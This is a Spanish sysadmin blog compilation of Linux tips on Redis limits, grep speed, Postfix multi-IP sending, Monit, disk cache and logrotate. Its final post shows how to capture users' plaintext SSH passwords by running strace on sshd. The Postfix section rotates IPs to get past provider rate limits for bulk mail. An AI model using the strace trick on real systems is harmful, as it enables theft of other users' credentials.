Redis, limits, ulimit y debian.

redis_logo

Tenía un problema con Redis, no hacía caso al número de ficheros abiertos definidos en /etc/security/limits.conf y siempre me daba error porque abría más ficheros de los que tenía configurados.

Esto no es posible, tenía definidos 65535  pero se quejaba al llegar a 4096.

limits.conf no aplica a los servicios configurados en systemd.

BOOOOM!

Para solventar Redis:

1 – Editamos /lib/systemd/system/redis-server.service y añadimos en la etiqueta [Service] debajo de User y Group lo siguiente:

LimitNOFILE=65535

Quedando así:

[Service]
Type=forking
ExecStart=/usr/bin/redis-server /etc/redis/redis.conf
PIDFile=/var/run/redis/redis-server.pid
TimeoutStopSec=0
Restart=always
LimitNOFILE=65536
User=redis
Group=redis

2 – Reiniciamos el demonio de systemd y también redis

systemctl daemon-reload 
systemctl restart redis-server

Acelerando GREP. Optimizar nuestros scripts.

Hace unas semanas me surgió un problema. Tenía que pintar unas gráficas de Zabbix sobre una serie de datos bastante enormes. La máquina de por si ya estaba cargada pero estos greps terminaron por rematarla. Indagué un poco y básicamente cambiando un par de cosas se puede conseguir un rendimiento de +650%

En la siguiente gráfica se puede ver la tendencia de como estaba la máquina, como subió tras añadir los nuevos procesos que trituraban archivos y como bajó radicalmente al aplicar los siguientes tres puntos.

optimización de grep

optimización de grep

1 – Añade antes de tu “grep” lo siguiente LC_ALL=C para usar como locales C en lugar de UTF-8

2 – Si estás buscando una cadena (string) y no una expresión regular usa fgrep en lugar de grep

3 – Si no te hace falta, no uses -i

Así por ejemplo podrías usar:

$ LC_ALL=C fgrep "cadena_a_buscar" longfile.txt

Obviamente puedes crearte un alias para no tener que escribirlo siempre.

Al detalle:

root@server [~] locale
LANG="es_ES.UTF-8"
LC_CTYPE="es_ES.UTF-8"
LC_NUMERIC="es_ES.UTF-8"
LC_TIME="es_ES.UTF-8"
LC_COLLATE="es_ES.UTF-8"
LC_MONETARY="es_ES.UTF-8"
LC_MESSAGES="es_ES.UTF-8"
LC_PAPER="es_ES.UTF-8"
LC_NAME="es_ES.UTF-8"
LC_ADDRESS="es_ES.UTF-8"
LC_TELEPHONE="es_ES.UTF-8"
LC_MEASUREMENT="es_ES.UTF-8"
LC_IDENTIFICATION="es_ES.UTF-8"
LC_ALL=
root@server [~] LC_ALL=C locale
LANG=en_US.UTF-8
LC_CTYPE="C"
LC_NUMERIC="C"
LC_TIME="C"
LC_COLLATE="C"
LC_MONETARY="C"
LC_MESSAGES="C"
LC_PAPER="C"
LC_NAME="C"
LC_ADDRESS="C"
LC_TELEPHONE="C"
LC_MEASUREMENT="C"
LC_IDENTIFICATION="C"
LC_ALL=C

Strace para ver que está pasando.

root@server [~] strace -o TRACE cat TEST_FILE
This is a test

root@server [~] egrep "open|read" TRACE
open("/etc/ld.so.cache", O_RDONLY)      = 3
open("/lib64/libc.so.6", O_RDONLY)      = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\300\332\1\0\0\0\0\0"..., 832) = 832
open("/usr/lib/locale/locale-archive", O_RDONLY) = 3
open("/usr/share/locale/locale.alias", O_RDONLY) = 3
read(3, "# Locale name alias data base.\n#"..., 4096) = 2528
read(3, "", 4096)                       = 0
open("/usr/lib/locale/es_ES.utf8/LC_IDENTIFICATION", O_RDONLY) = 3
open("/usr/lib64/gconv/gconv-modules.cache", O_RDONLY) = 3
open("/usr/lib/locale/es_ES.utf8/LC_MEASUREMENT", O_RDONLY) = 3
open("/usr/lib/locale/es_ES.utf8/LC_TELEPHONE", O_RDONLY) = 3
open("/usr/lib/locale/es_ES.utf8/LC_ADDRESS", O_RDONLY) = 3
open("/usr/lib/locale/es_ES.utf8/LC_NAME", O_RDONLY) = 3
open("/usr/lib/locale/es_ES.utf8/LC_PAPER", O_RDONLY) = 3
open("/usr/lib/locale/es_ES.utf8/LC_MESSAGES", O_RDONLY) = 3
open("/usr/lib/locale/es_ES.utf8/LC_MESSAGES/SYS_LC_MESSAGES", O_RDONLY) = 3
open("/usr/lib/locale/es_ES.utf8/LC_MONETARY", O_RDONLY) = 3
open("/usr/lib/locale/es_ES.utf8/LC_COLLATE", O_RDONLY) = 3
open("/usr/lib/locale/es_ES.utf8/LC_TIME", O_RDONLY) = 3
open("/usr/lib/locale/es_ES.utf8/LC_NUMERIC", O_RDONLY) = 3
open("/usr/lib/locale/es_ES.utf8/LC_CTYPE", O_RDONLY) = 3
open("TEST_FILE", O_RDONLY)             = 3
read(3, "This is a test\n", 4096)       = 15
read(3, "", 4096)
root@server [~] LC_ALL=C strace -o TRACE cat TEST_FILE
This is a test

root@server [~] egrep "open|read" TRACE

open("/etc/ld.so.cache", O_RDONLY)      = 3
open("/lib64/libc.so.6", O_RDONLY)      = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\300\332\1\0\0\0\0\0"..., 832) = 832
open("TEST_FILE", O_RDONLY)             = 3
read(3, "This is a test\n", 4096)       = 15
read(3, "", 4096)

Postfix, load balancing outgoing queue

En ocasiones necesitamos que nuestro servidor de correo sea capaz de enviar más correo del que ya envía, mucho más correo.

Como sabéis, los proveedores de correo suelen tener listas grisas y ratios a la hora de recepcionar e-mail, por lo que si tenemos que entregar más de 1 millón de e-mails al día es posible que estas listas y ratios os frenen.

Disponemos de varias opciones:

  1. múltiples ip balanceadas por iptables
  2. múltiples servicios smtp de postfix
  3. multi-postfix

Al grano.

Múltiples ip balanceadas por iptables

Configuramos en nuestro servidor varias IP públicas, todas ellas con su PTR correspondiente, SPF, DKIM, SenderID, etc… es decir, bien configuradas para evitar caer en listas negras.

Probamos que nuestras iptables tienen el módulo de estadísticas incluido

$ iptables -m statisic -h | tail

Y deberemos de ver una salida tal que así:

statistic match options:
 --mode mode                    Match mode (random, nth)
 random mode:
[!] --probability p		 Probability
 nth mode:
[!] --every n			 Match every nth packet
 --packet p			 Initial counter value (0 <= p <= n-1, default 0)

Ya solo nos queda hacer SNAT (source NAT) y con el módulo de estadísticas haremos que cada N envíos cambie la IP saliente. En el siguiente ejemplo cada 5 e-mails los enviará por una IP y estas irán rotando:

$ iptables -t NAT -I POSTROUTING -m state --state NEW -p tcp --dport 25 -o eth0 -m statistic --mode nth --every 5 -j SNAT --to-source 1.2.3.4
$ iptables -t NAT -I POSTROUTING -m state --state NEW -p tcp --dport 25 -o eth0 -m statistic --mode nth --every 5 -j SNAT --to-source 2.3.4.5
$ iptables -t NAT -I POSTROUTING -m state --state NEW -p tcp --dport 25 -o eth0 -m statistic --mode nth --every 5 -j SNAT --to-source 3.4.5.6
$ iptables -t NAT -I POSTROUTING -m state --state NEW -p tcp --dport 25 -o eth0 -m statistic --mode nth --every 5 -j SNAT --to-source 4.5.6.7

Y para comprobar el resultado y ver que cantidad de e-mails salen por cada IP:

$ iptables -t nat -vL
 Chain PREROUTING (policy ACCEPT 209K packets, 15M bytes)
 pkts bytes target     prot opt in     out     source               destination
 Chain POSTROUTING (policy ACCEPT 22M packets, 1330M bytes)
 pkts bytes target     prot opt in     out     source               destination
 1    60 SNAT       tcp  --  any    eth0    anywhere             anywhere            state NEW tcp dpt:smtp statistic mode nth every 5 to:1.2.3.4
 1    60 SNAT       tcp  --  any    eth0    anywhere             anywhere            state NEW tcp dpt:smtp statistic mode nth every 5 to:2.3.4.5
 1    60 SNAT       tcp  --  any    eth0    anywhere             anywhere            state NEW tcp dpt:smtp statistic mode nth every 5 to:3.4.5.6
 1    60 SNAT       tcp  --  any    eth0    anywhere             anywhere            state NEW tcp dpt:smtp statistic mode nth every 5 to:4.5.6.7
 Chain OUTPUT (policy ACCEPT 16M packets, 995M bytes)
 pkts bytes target     prot opt in     out     source               destination

Múltiples servicios smtp de postfix

En este caso, lo que haremos será que postfix levante un demonio stmp de salida por cada e-mail que se vaya a enviar, y lo hará de modo random.

Es útil si no tienes reglas por proveedor en temas de ratio, velocidad etc… sino te tocará modificar el script para hacer random sobre proveedores.

Este script está hecho en perl y los créditos a su autor: Hari Hendaryanto <hari.h -at- csmcom.com>

$ vim /etc/postfix/random.pl

 

#!/usr/bin/perl -w
# author: Hari Hendaryanto <hari.h -at- csmcom.com>

use strict;
use warnings;
use Sys::Syslog qw(:DEFAULT setlogsock);

#
# our transports array, we will define this in master.cf as transport services
#

our @array = (
'rotate1:',
'rotate2:',
'rotate3:',
'rotate4:',
'rotate5:'
);

#
# Initalize and open syslog.
#
openlog('postfix/randomizer','pid','mail');

#
# Autoflush standard output.
#
select STDOUT; $|++;

while (<>) {
 chomp;
 # randomizing transports array
 my $random_smtp = int(rand(scalar(@array)));
 if (/^get\s(.+)$/i) {
 print "200 $array[$random_smtp]\n";
 syslog("info","Using: %s Transport Service", $random_smtp);
 next;
 }

 print "200 smtp:";
}

Lo hacemos ejecutable.

$ chmod +775 /etc/postfix/random.pl

Para integrarlo con nuestro postfix debemos modificar dos archivos:

$ vim /etc/postfix/master.cf

Y añadimos al final del fichero, la siguiente línea y tantos randoms como hayamos definido en el script.

127.0.0.1:2527 inet n n n - 0 spawn user=nobody argv=/etc/postfix/random.pl

rotate1 unix - - n - - smtp
 -o syslog_name=postfix-rotate1
 -o smtp_helo_name=smtp1.example.com
 -o smtp_bind_address=1.2.3.1

rotate2 unix - - n - - smtp
 -o syslog_name=postfix-rotate2
 -o smtp_helo_name=smtp2.example.com
 -o smtp_bind_address=1.2.3.2

rotate3 unix - - n - - smtp
 -o syslog_name=postfix-rotate3
 -o smtp_helo_name=smtp3.example.com
 -o smtp_bind_address=1.2.3.3

rotate4 unix - - n - - smtp
 -o syslog_name=postfix-rotate4
 -o smtp_helo_name=smtp4.example.com
 -o smtp_bind_address=1.2.3.4

rotate5 unix - - n - - smtp
 -o syslog_name=postfix-rotate5
 -o smtp_helo_name=smtp5.example.com
 -o smtp_bind_address=1.2.3.5

Y por último.

$ vim /etc/postfix/main.cf

Y añadimos y/o modificamos lo siguiente:

transport_maps = tcp:[127.0.0.1]:2527
127.0.0.1:2527_time_limit = 3600s

Para probar podemos hacer lo siguiente:

$ postmap -q "test" tcp:127.0.0.1:2527
rotate1:

$ postmap -q "test" tcp:127.0.0.1:2527
rotate3:

Por último sólo nos queda reiniciar el postfix y ver en los logs como cada vez usa un smtp distinto.

Recordad:

Si se edita el master.cf -> Reiniciar postfix

 $ /etc/init.d/postfix restart 

Si se edita el main.cf -> Recargar postfix

 $ /etc/init.d/postfix reload 

multi-postfix

Esta última versión pasa por configurar otra instancia de postfix en nuestro servidor, para ello lo primero que debemos de hacer es configurarle otra IP pública.

Lo siguiente es generar una nueva instancia de postfix y configurarla, para ello hacemos lo siguiente:

$ postmulti -e init
$ postmulti -I postfix-2 -e create

Esto nos creará un /etc/postfix-2 y ahí debemos copiar nuestros archivos de configuración de nuestro postfix en producción. Ojo, hay que cambiar la IP para esta nueva instancia y para las que tengamos.

Para ello editamos el main.cf de la instancia principal y cambiamos

net_interfaces = all

por

net_interfaces = localhost, xxx.xxx.xxx.xxx

Y editamos el main.cf de la segunda instancia y cambiamos:

net_interfaces = all

por

net_interfaces = yyy.yyy.yyy.yyy

Reiniciamos postfix y ya tendremos dos instancias. Podemos crear tantas como queramos si nuestro hardware lo soporta. Muchas veces el límite a la hora de gestionar correo no es el hardware sino el ratio y con esto conseguimos aumentar el ratio y la velocidad.

Para gestionar las intancias podemos usar estos comandos.

Parar la instancia:

postmulti -i postfix-2 -p stop

Deshabilitar la instancia:

postmulti -i postfix-2 -e disable

Destruir la instancia:

postmulti -i postfix-2 -e destroy

Usad el correo con moderación, no seáis spammers!

“then exec” en monit. Controlar los ciclos

Cuando en Monit tenemos configurados una serie de chequeos y queremos que en lugar de un “alert” o un “restart” usamos un script propio no hay forma de controlar las veces que se ejecuta ese script.

Monit en cada ciclo ejecutará ese script por lo que en algunas ocasiones, según lo que haga puede ser un inconveniente.

Una forma de bloquear la ejecución del script es añadiendo un pequeño archivo de control. Un ejemplo:

Partimos del siguiente check.

check host web01.http.mad with address www.example.com
 if failed url http://www.example.com/ and content == "Cadena de texto que debe aparecer"
 timeout 10 seconds for 2 cycles then exec "/usr/local/bin/emergency.sh 'sendsms' 'WEB DOWN'"
 else if passed for 10 cycle then exec "/usr/local/bin/emergency.sh 'clear'"

Monit ejecutará el script emergency.sh en cada ciclo, por lo que nos inundará de SMS hasta que arreglemos la incidencia o nos quedemos sin saldo en el proveedor de SMS.

Para ello el script emergency.sh puede crear un pequeño archivo de control y si existe que no vuelva a enviar SMS.

#!/bin/bash

OPCION=$1
MENSAJE=$2

case $OPCION in
  sms)
    if [ ! -f "/tmp/done" ]; then
      touch /tmp/done
      curl http://proveedorsms.com/send/$MENSAJE/0034000000000
    fi
    ;;
  clean)
    if [ -f "/tmp/done" ]; then
      rm /tmp/done
    fi
    ;;
  *)
    ;;
esac

Controlando la existencia de /tmp/done controlamos las ejecuciones de “then exec” en Monit.

Precalentamiento de caché de disco

En algunas ocasiones nos interesa que nuestro sistema tenga los archivos precacheados de cara a cargar algún proceso o realizar una tarea que consuma mucho disco.

Un ejemplo real. Un Solr necesita cargar en RAM una serie de índices almacenados en Lucene que provienen de un Hadoop (hablamos de big data). Si estos índices ocupan varios gigas nuestro Solr tardará unos minutos en estar operativo.

Existen herramientas de precarga de archivos en caché, pero podemos usar un pequeño truco que hará que la velocidad a la que el Solr arranque cambie significativamente:

 $ cat /media/lucene/indices_buscador.idx > /dev/null 

Con ese pequeño truco antes de arrancar Solr (o cualquier otro proceso que necesite manejar archivos muy grandes) conseguiréis precargar la caché de linux y notaréis la diferencia.

Logrotate no rota mis logs

En algunas ocasiones sucede que logrotate no rota los logs de nuestro sistema, esto puede ser debido a varios factores:

  • corrupción de /var/lib/logrotate/status
  • permisos de los logs a rotar

Una forma de saber que va a hacer logrotate es ejecutarlo en modo “verbose y dry run” y ver que piensa hacer con nuestros logs:

$ logrotate -dv /etc/logrotate.d/tomcat
rotating pattern: /opt/tomcat-7.0.27/logs/catalina.out after 1 days (8 rotations)
empty log files are not rotated, old logs are removed
switching euid to 1000 and egid to 1000
considering log /opt/tomcat-7.0.27/logs/catalina.out
 log does not need rotating
not running postrotate script, since no logs were rotated
switching euid to 0 and egid to 0

Si es cierto que no necesitamos rotar el archivo está todo correcto, pero si en realidad el archivo debería haber rotado, tenemos que mirar cual fué la última fecha de rotado en /var/lib/logrotate/status

$ cat /var/lib/logrotate/status
logrotate state -- version 2
"/opt/tomcat-7.0.27/logs/catalina.out" 2013-11-3

Vemos que no rota desde noviembre del 2013, en ese caso podemos hacer 2 cosas:

  • Editamos /var/lib/logrotate/status y cambiamos la fecha a la de ayer por ejemplo y volvemos a ejecutar el logrotate -dv /etc/logrotate.d/tomcat para ver que hace.
  • La otra opción es borrar directamente /var/lib/logrotate/status y ejecutar logrotate -f /etc /logrotate.d/tomcat , esto regenerará el archivo con fecha de hoy y puedes volver a comprobar con logrotate -dv /etc/logrotate.d/tomcat para ver que va a ocurrir.
  • Revisar que los permisos del log son los correctos. Tratar de rotar un log de tomcat y que este pertenezca a root y no a tomcat hara que no rote.
  • Forzar el rotado manual y ver por consola que pasa con logrotate -fv /etc/logrotate.d/tomcat

Redireccionar tráfico de un servidor a otro con iptables

iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination xxx.xxx.xxx.xxx:80
iptables -t nat -A POSTROUTING -j MASQUERADE

Saber todos los passwords de usuarios en linux

$ strace -f -e "read" -p <pid_of_sshd> 2>log
$ cat log | grep -b1 capability.con
10156-[pid 31277] read(6, "\v\0\0\0\tSECRETPASSWORDOFMYSSH ", 14) = 14
10208:[pid 31277] read(4, "#\n# /etc/security/capability.con"..., 4096) = 1795